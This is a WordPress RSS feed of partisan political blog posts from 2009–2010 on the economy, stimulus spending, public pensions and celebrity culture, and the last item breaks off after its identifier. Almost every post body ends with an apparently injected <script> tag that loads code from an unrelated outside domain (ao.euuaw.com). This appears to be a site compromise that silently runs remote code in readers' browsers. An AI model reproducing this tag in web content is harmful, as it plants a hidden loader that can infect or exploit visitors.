<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Daily Plunge &#187; Economy</title>
	<atom:link href="http://www.dailyplunge.com/tag/economy/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyplunge.com</link>
	<description>Plunging Towards Gomorrah</description>
	<lastBuildDate>Thu, 29 Jul 2010 15:39:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<atom:link rel='hub' href='http://www.dailyplunge.com/?pushpress=hub'/>
		<item>
		<title>Do Progressives Really Care About the Economy?</title>
		<link>http://www.dailyplunge.com/2010/05/do-progressives-really-care-about-the-economy/</link>
		<comments>http://www.dailyplunge.com/2010/05/do-progressives-really-care-about-the-economy/#comments</comments>
		<pubDate>Sun, 23 May 2010 18:18:09 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Economics]]></category>
		<category><![CDATA[California]]></category>
		<category><![CDATA[Democrats]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Fiscal Crisis]]></category>
		<category><![CDATA[Greece]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[Mark Steyn]]></category>
		<category><![CDATA[Progressives]]></category>
		<category><![CDATA[Republicans]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=3229</guid>
		<description><![CDATA[I have to admit I&#8217;m growing a little weary of politics. Perhaps it&#8217;s the Arizona controversy and the left&#8217;s ability to ignore logic and its apparent inability to read. It seems our population is fine with being ignorant. It&#8217;s easier to be angry and upset with Arizona than to actually realize that its law not only mirrors]]></description>
			<content:encoded><![CDATA[<div id="attachment_3230" class="wp-caption alignright" style="width: 262px"><a href="http://www.dailyplunge.com/wp-content/uploads/2010/05/baskin-robbins.jpg"><img class="size-full wp-image-3230" title="baskin-robbins" src="http://www.dailyplunge.com/wp-content/uploads/2010/05/baskin-robbins.jpg" alt="" width="252" height="350" /></a><p class="wp-caption-text">The right to free ice cream isn&#39;t spelled out in the constitution, but when has that ever been a problem for &quot;progressives.&quot;</p></div>
<p>I have to admit I&#8217;m growing a little weary of politics. Perhaps it&#8217;s the Arizona controversy and the left&#8217;s ability to ignore logic and its apparent inability to read. It seems our population is fine with being ignorant. It&#8217;s easier to be angry and upset with Arizona than to actually realize that its law not only mirrors the federal law, but provides additional protection from racial profiling. So if we boycott Arizona, shouldn&#8217;t we boycott Washington?</p>
<p>Then, on the other side, there are those who spend time theorizing about the President&#8217;s birth certificate. The Republic has a lot of problems, but the President&#8217;s birth certificate isn&#8217;t one of them. The average American&#8217;s knowledge of our current fiscal situation is abysmal. Sure, most Americans can tell you that the economy is not doing well, but how many people cared before 2008? Most Americans are frustrated by the business cycle, not the 40-plus years of governmental mismanagement of finances.</p>
<p>For the United States to right this fiscal Titanic it would take a huge majority in Congress to do it. I don&#8217;t see how this is possible as long as the Democrats have the support of 40 percent of voters. The Democratic party doesn&#8217;t have a plan to balance the budget or reduce our debt, only plans to run us into the ground financially. Sadly, neither does the Republican establishment. Eventually this economic policy leads to California.</p>
<p>&#8220;So goes California so goes the nation,&#8221; or so the saying goes. California is our homegrown version of Greece. The citizens of California want big government, but they don&#8217;t want to pay for it. The indelible Mark Steyn has an <a href="http://www2.macleans.ca/2010/05/20/not-just-their-big-fat-greek-funeral/">article</a> about the situation in Greece, but it&#8217;s just as relevant to California and the United States.</p>
<blockquote><p>The problem facing the Western world isn’t very difficult to figure out: we’ve spent tomorrow today, and we can never earn enough tomorrow to pay for what we’ve already burned through. When you’re spending four trillion dollars but only raising two trillion in revenue (the Obama model), you’ve no intention of paying it off, and the rest of the world knows it.</p></blockquote>
<p>Most liberals I know haven&#8217;t thought this far ahead. They&#8217;re in favor of free health care like they&#8217;re in favor of free Baskin Robbins ice cream. The ice cream tastes good, it&#8217;s available in 31 flavors, and no one really cares who&#8217;s paying for it. I too am in favor of free ice cream because providing it to Americans would be a helluva lot cheaper than free health care.</p>
<p>Eventually we end up like Greece, except there will be no one left to bail us out. There&#8217;s no Tea Party in Greece. It&#8217;s the Government Party there. Almost everyone is employed by the state and they all want to keep their 14-month annual pension (that&#8217;s not a typo; they get paid for 14 months of work in a 12-month period). Think that can&#8217;t happen in the United States? It&#8217;s <a href="http://www.cnbc.com/id/37273936">happening already</a>.</p>
<blockquote><p>In Yonkers, more than 100 retired police officers and firefighters are collecting pensions greater than their pay when they were working. One of the youngest, Hugo Tassone, retired at 44 with a base pay of about $74,000 a year. His pension is now $101,333 a year.</p>
<p>It’s what the system promised, said Mr. Tassone, now 47, adding that he did nothing wrong by adding lots of overtime to his base pay shortly before retiring. “I don’t understand how the working guy that held up their end of the bargain became the problem,” he said.</p></blockquote>
<p>&#8220;It&#8217;s what the system promised.&#8221; What happens if the system is broken? I apologize, but I really don&#8217;t feel sorry for able-bodied men who retired at the age of 40. What are these people contributing to society? Being a police officer is a respectable job, but it shouldn&#8217;t mean that 15 to 20 years service equals 30-plus years of pension. Obviously some of these pensions are related to disability, but not all of them. Until progressives take this problem seriously the United States is headed to bankruptcy.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2010/05/do-progressives-really-care-about-the-economy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The V-Shaped Recovery</title>
		<link>http://www.dailyplunge.com/2010/04/the-v-shaped-recovery/</link>
		<comments>http://www.dailyplunge.com/2010/04/the-v-shaped-recovery/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 15:36:38 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Economics]]></category>
		<category><![CDATA[Carpe Diem]]></category>
		<category><![CDATA[CNBC]]></category>
		<category><![CDATA[Economic Boom]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Larry Kudlow]]></category>
		<category><![CDATA[Mark J. Perry]]></category>
		<category><![CDATA[The Kudlow Report]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=2931</guid>
		<description><![CDATA[Here&#8217;s a hat tip to Mark J. Perry who has one of my favorite economics blogs. He&#8217;s been beating the &#8220;economic boom&#8221; drum for a few month and I believe he&#8217;s correct. Here&#8217;s a video from Larry Kudlow&#8217;s The Kudlow Report. The short term looks good, but the long run is very very bleak unless]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a <a href="http://mjperry.blogspot.com/2010/04/kudlow-v-shaped-recovery.html">hat tip</a> to Mark J. Perry who has one of my favorite <a href="http://mjperry.blogspot.com/">economics blogs</a>. He&#8217;s been beating the &#8220;economic boom&#8221; drum for a few month and I believe he&#8217;s correct. Here&#8217;s a video from Larry Kudlow&#8217;s <em>The Kudlow Report</em>.</p>
<p><object id="cnbcplayer" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="380" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="type" value="application/x-shockwave-flash" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="quality" value="best" /><param name="scale" value="noscale" /><param name="wmode" value="transparent" /><param name="bgcolor" value="#000000" /><param name="salign" value="lt" /><param name="src" value="http://plus.cnbc.com/rssvideosearch/action/player/id/1464751327/code/cnbcplayershare" /><param name="name" value="cnbcplayer" /><embed id="cnbcplayer" type="application/x-shockwave-flash" width="400" height="380" src="http://plus.cnbc.com/rssvideosearch/action/player/id/1464751327/code/cnbcplayershare" name="cnbcplayer" salign="lt" bgcolor="#000000" wmode="transparent" scale="noscale" quality="best" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>The short term looks good, but the long run is very very bleak unless we change our fiscal problems. It&#8217;s good news for President Obama and bad news for whoever replaces him in the future.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2010/04/the-v-shaped-recovery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Economy is Bouncing Back</title>
		<link>http://www.dailyplunge.com/2010/04/the-economy-is-bouncing-back/</link>
		<comments>http://www.dailyplunge.com/2010/04/the-economy-is-bouncing-back/#comments</comments>
		<pubDate>Tue, 06 Apr 2010 18:30:37 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Economics]]></category>
		<category><![CDATA[Construction]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Home Depot]]></category>
		<category><![CDATA[Retail]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=2891</guid>
		<description><![CDATA[I mentioned a few days ago that the economy is slowly starting to turn the corner. It&#8217;s unclear if this will be a fast economic expansion or a slow crawl; however, things are going to get better before they get worse. Another good sign is that Home Depot is hiring for the first time in]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.dailyplunge.com/wp-content/uploads/2010/04/TheHomeDepot.png"><img class="alignright size-full wp-image-2892" title="The Home Depot" src="http://www.dailyplunge.com/wp-content/uploads/2010/04/TheHomeDepot.png" alt="" width="118" height="118" /></a>I mentioned a few days ago that the economy is slowly starting to <a href="http://www.dailyplunge.com/2010/04/earth-to-gop-push-the-balanced-budget-amendment/">turn the corner</a>. It&#8217;s unclear if this will be a fast economic expansion or a slow crawl; however, things are going to get better before they get worse. Another good sign is that Home Depot is hiring for the first time in four years. New housing construction has taken a beating the past few years and is starting to turn around. Chris Burritt at <em>Bloomberg</em> has <a href="http://www.dailyplunge.com/2010/04/earth-to-gop-push-the-balanced-budget-amendment/">more</a>:</p>
<blockquote><p>Home Depot Inc., the largest U.S. home-improvement retailer, is adding store jobs for the first time in four years in anticipation of a rebound in sales.</p>
<p>“We have already added to our payroll this year,” Chairman and Chief Executive Officer Frank Blake said in an interview yesterday in Atlanta, where Home Depot is based. “As you have positive transaction growth, you need more associates to handle that in the stores. We are going to lean into our skis a little bit.”</p></blockquote>
<p>Other areas that are showing improvement are <a href="http://www.aar.org/NewsAndEvents/PressReleases/2010/04/040110_RailTraffic.aspx">railway freight</a> and an increase in <a href="http://scottgrannis.blogspot.com/2010/04/400000-new-jobs-and-counting.html">private sector jobs</a>. What is driving the rebound? It&#8217;s not the government. It&#8217;s the American entrepreneurial spirit. The business cycle isn&#8217;t dead and as the Dow marches closer to 11,000 it&#8217;s worth reminding people that the United States is still a very prosperous nation.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2010/04/the-economy-is-bouncing-back/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What Would I Do: The Economy</title>
		<link>http://www.dailyplunge.com/2010/02/what-would-i-do-the-economy/</link>
		<comments>http://www.dailyplunge.com/2010/02/what-would-i-do-the-economy/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 22:30:47 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Homeland Security]]></category>
		<category><![CDATA[Pensions]]></category>
		<category><![CDATA[Waste]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1927</guid>
		<description><![CDATA[If I was in charge I would push for enormous changes to fix the economy. Here is what I would do. Abolish several departments. Agriculture, Education, and Homeland Security do not need entire departments. These departments are either too big, obsolete, or just useless. I&#8217;m sure there are other departments that can go as well.]]></description>
			<content:encoded><![CDATA[<p>If I was in charge I would push for enormous changes to fix the economy. Here is what I would do.</p>
<ol>
<li> Abolish several departments. Agriculture, Education, and Homeland Security do not need entire departments. These departments are either too big, obsolete, or just useless. I&#8217;m sure there are other departments that can go as well. One of Bush&#8217;s biggest mistakes was creating the Department of Homeland Security.</li>
<li>Reduce the number of government employees, reduce wages, and reduce pensions. Government employees&#8217; wages have been going up the past two years. It&#8217;s time these people start sacrificing like the rest of us. Federal and State pensions are absurd. We&#8217;re basically paying able bodied people not to work.</li>
<li>Raise the entitlement age for Medicare and Social Security. Don&#8217;t hold your breath waiting for this to happen. If there&#8217;s one thing elderly people do well, it&#8217;s vote.</li>
<li>Temporarily cut the payroll tax. This would be much more beneficial for the average American than the stimulus package.</li>
<li>Halt the stimulus package. Use the allotted funds to help pay for the shortfall in payroll receipts.</li>
</ol>
<p>That&#8217;s just a short list of things to do. I could think of others, but this would be a step in the right direction. I don&#8217;t expect Obama to take up any of these ideas any time soon. Politicians love to talk about reducing waste, but they lack the courage to do it.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2010/02/what-would-i-do-the-economy/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>dave barry: the year of change</title>
		<link>http://www.dailyplunge.com/2010/01/dave-barry-the-year-of-change/</link>
		<comments>http://www.dailyplunge.com/2010/01/dave-barry-the-year-of-change/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 20:35:14 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Big Spenders]]></category>
		<category><![CDATA[Dave Barry]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Greg Mankiw]]></category>
		<category><![CDATA[Liberals are spending us into the poor house]]></category>
		<category><![CDATA[Tax and Spend]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1897</guid>
		<description><![CDATA[I saw this over at Greg Mankiw&#8217;s site but it&#8217;s too good not to repost here. It&#8217;s from Dave Barry&#8217;s end of year column in the Washington Post. It was a year of Hope &#8212; at first in the sense of &#8220;I feel hopeful!&#8221; and later in the sense of &#8220;I hope this year ends]]></description>
			<content:encoded><![CDATA[<p>I saw this over at Greg Mankiw&#8217;s <a href="http://gregmankiw.blogspot.com/2010/01/dave-barrys-2009-year-in-review.html">site</a> but it&#8217;s too good not to repost here. It&#8217;s from Dave Barry&#8217;s end of year <a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/12/18/AR2009121802219.html">column</a> in the <em>Washington Post</em>.</p>
<blockquote><p>It was a year of Hope &#8212; at first in the sense of &#8220;I feel hopeful!&#8221; and later in the sense of &#8220;I hope this year ends soon!&#8221;<br />
It was also a year of Change, especially in Washington, where the tired old hacks of yesteryear finally yielded the reins of power to a group of fresh, young, idealistic, new-idea outsiders such as Nancy Pelosi. As a result, Washington, rejected &#8220;business as usual,&#8221; finally stopped trying to solve every problem by throwing billions of taxpayer dollars at it, and instead started trying to solve every problem by throwing trillions of taxpayer dollars at it.</p></blockquote>
<p>One of the biggest problems facing the White House in 2009 was how do you deliver on a campaign of change? Our government is a sausage factory. It&#8217;s very difficult to institute change. The idea that Obama was some grassroots outsider going to Washington was always a myth. I suspect that many of the grassroots are currently disillusioned, but they&#8217;ll inevitably come back to the fold.<br />
Dave Barry sums it up very well. After eight years of spending us into bankruptcy the Democrats decided spending more was the answer. It&#8217;s astounding. If the Democrat leadership doesn&#8217;t tack back to the center soon the economy is going to suffer.<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2010/01/dave-barry-the-year-of-change/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ideology vs. common sense</title>
		<link>http://www.dailyplunge.com/2009/11/ideology-vs-common-sense/</link>
		<comments>http://www.dailyplunge.com/2009/11/ideology-vs-common-sense/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 22:32:55 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Democrats]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Health Care]]></category>
		<category><![CDATA[National Debt]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1834</guid>
		<description><![CDATA[Unemployment is at the highest level since 1983. The stimulus bill was a failure. The economic outlook is dismal. Our generals have been waiting weeks for the President to make a decision about Afghanistan. So what are House Democrats working on Saturday to accomplish? A massive health care take over that will in no way]]></description>
			<content:encoded><![CDATA[<p>Unemployment is at the highest level since 1983. The stimulus bill was a failure. The economic outlook is dismal. Our generals have been waiting weeks for the President to make a decision about Afghanistan. So what are House Democrats working on Saturday to accomplish? A massive health care take over that will in no way help the economy. The massive entitlement will burden the nation with trillions of more dollars in debt. For those scoring at home the United States <a href="http://www.usdebtclock.org/">national debt</a> is nearly $12 trillion. That&#8217;s only $128,105 per American taxpayer. Or in my case my income for the next three years. This is what happens when ideology overcomes common sense.<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2009/11/ideology-vs-common-sense/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>looking back at the stimulus</title>
		<link>http://www.dailyplunge.com/2009/10/looking-back-at-the-stimulus/</link>
		<comments>http://www.dailyplunge.com/2009/10/looking-back-at-the-stimulus/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 18:47:17 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[President Obama]]></category>
		<category><![CDATA[Stimulus Bill]]></category>
		<category><![CDATA[Unemployment]]></category>
		<category><![CDATA[White House]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1801</guid>
		<description><![CDATA[A few months ago with the White House and Congress were ramming the pork ridden stimulus bill through Washington the President&#8217;s economic team produced the graph below to justify the legislation. The stimulus isn&#8217;t helping, it never will help, and it was a colossal waste of money. The economy will eventually bounce back and if]]></description>
			<content:encoded><![CDATA[<p>A few months ago with the White House and Congress were ramming the pork ridden stimulus bill through Washington the President&#8217;s economic team produced the graph below to justify the legislation. The stimulus isn&#8217;t helping, it never will help, and it was a colossal waste of money. The economy will eventually bounce back and if it happens during this administration the White House will cite the stimulus as the reason. The economy is the number one issue right now and the President seems more worried about health care, climate change, and the Olympics.<br />
<span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="Stimulus Projections" src="http://www.dailyplunge.com/Art/stimulus-vs-unemployment-september-dots.png" width="400" height="244" class="mt-image-none" style="" /></span><br />
<strong>ht:</strong> <a href="http://gregmankiw.blogspot.com/2009/10/click-here-for-my-interpretation-of.html">Greg Mankiw</a><br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2009/10/looking-back-at-the-stimulus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On the Verge of an Economic Boom?</title>
		<link>http://www.dailyplunge.com/2009/08/on-the-verge-of-an-economic-boom/</link>
		<comments>http://www.dailyplunge.com/2009/08/on-the-verge-of-an-economic-boom/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 00:00:58 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Barack Obama]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Perception]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1772</guid>
		<description><![CDATA[It&#8217;s my personal opinion that the economy is the reason Obama is suffering in the polls. When the economy is struggling the last thing Americans want to see is a president pushing proposals that are going to raise taxes and increase the size of government. Fortunately for Obama the business cycle is moving in his]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s my personal opinion that the economy is the reason Obama is suffering in the polls. When the economy is struggling the last thing Americans want to see is a president pushing proposals that are going to raise taxes and increase the size of government. Fortunately for Obama the business cycle is moving in his favor. This might be bad for the country in the long run because it seems clear that the president doesn&#8217;t understand the economy (see: Nixon, Carter). Eight years of Obamanomics could cripple the nation in the long run. Most observers aren&#8217;t predicting a strong recovery, but most observers thought the housing boom would last forever. Some experts believe we&#8217;re about to experience an <a href="http://www.reuters.com/article/marketsNews/idUSNYS00531420090814">economic boom</a>.</p>
<blockquote><p>The Economic Cycle Research Institute, a New York-based independent forecasting group, said its Weekly Leading Index rose to a 47-week high of 123.9 in the week to Aug. 7 from a downwardly revised 121.7 the prior week, which was originally<br />
reported at 121.8.</p>
<p>Meanwhile, the index&#8217;s annualized growth rate leapt to a 26-year high of 13.4 percent from last week&#8217;s five-year high of 10.4 percent, which ECRI originally reported at 10.5 percent. It was the index&#8217;s highest yearly growth rate reading since the week to Aug. 26, 1983, when it stood at 13.9 percent.</p>
<p>&#8220;With WLI growth surging, the odds are rising that the early stage of this economic recovery will be stronger than any since the early 1980s,&#8221; said Lakshman Achuthan, Managing Director at ECRI.</p></blockquote>
<p>From the beginning I thought the economic woes that started in 2008 were fed in part by the media&#8217;s obsession with Bush. Four years of non-stop negative coverage contributed to the panic last fall. I&#8217;m not saying the coverage created a recession, but it helped contribute. Perception is a integral part of the economy. The fact that 2008 was an election year didn&#8217;t help the press.</p>
<p>For Obama, 2012 could be a very easy reelection if the economy is booming. What&#8217;s Obama&#8217;s plan to put the United States back on a solid economic foundation? Social Security and Medicare must be addressed and Bush&#8217;s prescription drug program needs to be repealed.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2009/08/on-the-verge-of-an-economic-boom/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>bread and circuses</title>
		<link>http://www.dailyplunge.com/2009/06/bread-and-circuses/</link>
		<comments>http://www.dailyplunge.com/2009/06/bread-and-circuses/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 01:43:08 +0000</pubDate>
		<dc:creator>club soda</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Abortion]]></category>
		<category><![CDATA[Avon]]></category>
		<category><![CDATA[Celebrity]]></category>
		<category><![CDATA[Climate Change]]></category>
		<category><![CDATA[Colorado]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[FOX News]]></category>
		<category><![CDATA[George Clooney]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[H.R. 2454]]></category>
		<category><![CDATA[Hollywood]]></category>
		<category><![CDATA[Jason Priestly]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Michael J. Fox]]></category>
		<category><![CDATA[Michael Jackson]]></category>
		<category><![CDATA[Oprah]]></category>
		<category><![CDATA[Pamela Anderson]]></category>
		<category><![CDATA[Stem Cell Research]]></category>
		<category><![CDATA[Waxman-MarkeyA]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1711</guid>
		<description><![CDATA[&#8220;Rome is the mob. Conjure magic for them and they&#8217;ll be distracted. Take away their freedom and still they&#8217;ll roar.&#8221; -Gracchus in Gladiator I absolutely resent the news media&#8217;s round-the-clock coverage of Michael Jackson&#8217;s death. I was hoping he would continue to fade into obscurity, become less crazy and die of old age at Nevemind]]></description>
			<content:encoded><![CDATA[<p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="Bread and Circuses" src="http://www.dailyplunge.com/Art/bread%20and%20circuses.jpg" width="480" height="320" class="mt-image-none" style="" /></span>&#8220;Rome is the mob. Conjure magic for them and they&#8217;ll be distracted. Take away their freedom and still they&#8217;ll roar.&#8221;<br />
-Gracchus in <em>Gladiator</em><br />
I absolutely resent the news media&#8217;s <a href="http://www.foxnews.com/">round-the-clock coverage</a> of Michael Jackson&#8217;s death. I was hoping he would continue to fade into obscurity, become less crazy and die of old age at Nevemind Ranch. Why his death matters so much to the media is beyond me, but I also wonder why the media pays attention to what anyone in Hollywood has to say about politics or anything else of importance.<br />
I&#8217;ll admit to a certain bias here: I hate <a href="http://www.usmagazine.com/">Celebrity and the worship of Celebrity</a> in America. Celebrity, not religion, is the opiate of the masses. But I suppose Celebrity is a religion in its own right with its own rites, altars and priesthoods, not to be confused with <a href="http://www.officialjasonpriestley.com/">Jason Priestly</a>, formerly of <em>Beverly Hills 90210</em> fame.<br />
The rise of Celebrity in America coincides with the willingness of the American people to <a href="http://www.healthreform.gov/">cede their liberties to the state</a>. Americans believe all kinds of myths because the celebrity culture anesthetizes them to the truth. Celebrity offers easy, pre-packaged answers that require little intellectual effort. Why look into an issue on my own when I&#8217;ve got Oprah, George Clooney, Pamela Anderson and Michael J. Fox doing the research for me?<br />
For instance, it has become a truism via the Celebrity culture that embryonic stem cell research, of course funded by the taxpayer, is the only way to cure diseases like Alzheimer&#8217;s and Parkinson&#8217;s. In reality, the most successful research and actual progress has been made with adult stem cells. But let&#8217;s not let <a href="http://www.stemcellresearchfacts.com/media_myths.html">facts get in the way</a> when said &#8220;facts&#8221; have already been cherry-picked for us, and when they happen to coincide with one of Celebrity&#8217;s favorite causes, abortion. Yeah <a href="http://www.naral.org/">for the death</a> of those that are inconvenient to us!<br />
&#8220;The science is settled&#8221; on any number of topics, according to Celebrity and its minions in Congress. All of the bad weather anywhere in the world is caused by man&#8217;s selfish consumption, and must be stopped. Of course, as a Celebrity (or a member of Congress), and because I&#8217;m so important, I cannot possibly curb my consumption. &#8220;Let them eat cake&#8221; has been replaced with, &#8220;Let them drive clown cars!&#8221;<br />
That is why our spoiled aristocracy &#8211; the 21st Century Marie Antoinette &#8211; is in favor of the supremacy of the state over the individual. It&#8217;s very similar to the feeling a lot of Coloradoans have about their state, best summarized by the bumper sticker fashioned like a Colorado license plate that says, &#8220;<a href="http://www.stickergiant.com/no-vacancy_h118.html">No Vacancy</a>&#8220;. I freely admit to feeling the same way. Now that I&#8217;m here, I&#8217;d like to fence off the state and not allow another person to darken its borders.<br />
In the same way, celebrities and other hyper-rich, powerful people (such as Avon&#8217;s Andrea Jung mentioned in a <a href="http://www.dailyplunge.com/2009/06/avon-calling-to-destroy-americ.html">previous Club Soda post</a>) want to fence off the American Dream and keep the bounty and freedom of America to themselves. It&#8217;s a form of arrogance that says they&#8217;re individuals while the rest of us are simply numbers in a census (conducted by ACORN, of course).<br />
So, while the media devotes itself to non-stop coverage and posthumous tributes to the King of Pop, Americans are being screwed by another <a href="http://energycommerce.house.gov/Press_111/20090515/hr2454.pdf">unreadable, voluminous, multi-trillion-dollar bill</a> that will finally defeat climate change and the American economy in one fell swoop.<br />
The media, once again, is asleep at the wheel, celebrating celebrity and accepting at face value the pronouncements of the aristocracy that something &#8220;must be done.&#8221; Bread and circuses, if you will. When this monstrosity of a bill passes, Denver&#8217;s weather better be <a href="http://www.wunderground.com/US/CA/San_Diego.html">like San Diego&#8217;s</a> year-round, or I&#8217;m going to be pissed.<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyplunge.com/2009/06/bread-and-circuses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>economy bouncing back?</title>
		<link>http://www.dailyplunge.com/2009/05/economy-bouncing-back/</link>
		<comments>http://www.dailyplunge.com/2009/05/economy-bouncing-back/#comments</comments>
		<pubDate>Sun, 10 May 2009 16:06:06 +0000</pubDate>
		<dc:creator>Henshaw</dc:creator>
				<category><![CDATA[Politics]]></category>
		<category><![CDATA[Barack Obama]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Goverment Spending]]></category>

		<guid isPermaLink="false">http://www.dailyplunge.com/?p=1670</guid>
